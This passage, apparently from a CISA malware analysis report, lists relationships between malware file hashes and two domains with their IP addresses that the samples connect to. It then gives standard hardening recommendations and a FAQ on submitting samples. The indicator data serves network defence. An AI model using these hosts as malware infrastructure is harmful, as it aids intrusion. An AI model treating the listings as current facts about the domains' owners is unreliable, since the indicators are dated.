d5186efd85...	Contains	8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050
58027c80c6...	Contained_Within	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
58027c80c6...	Connected_From	curiofirenze.com
58027c80c6...	Connected_From	automercado.co.cr
8b53b51962...	Contained_Within	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
curiofirenze.com	Connected_From	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
curiofirenze.com	Connected_From	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
curiofirenze.com	Resolved_To	192.99.20.39
curiofirenze.com	Connected_From	bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
curiofirenze.com	Connected_To	58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d
192.99.20.39	Resolved_To	curiofirenze.com
automercado.co.cr	Resolved_To	54.241.91.49
automercado.co.cr	Connected_From	b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9
automercado.co.cr	Connected_From	d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5
automercado.co.cr	Connected_From	bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
automercado.co.cr	Connected_To	58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d
54.241.91.49	Resolved_To	automercado.co.cr

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.

- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".**

Contact Information

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Central✉.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: https://malware.us-cert.gov
- E-Mail: submit@malware.us-cert.gov✉
- FTP: ftp.malware.us-cert.gov (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.cisa.gov.
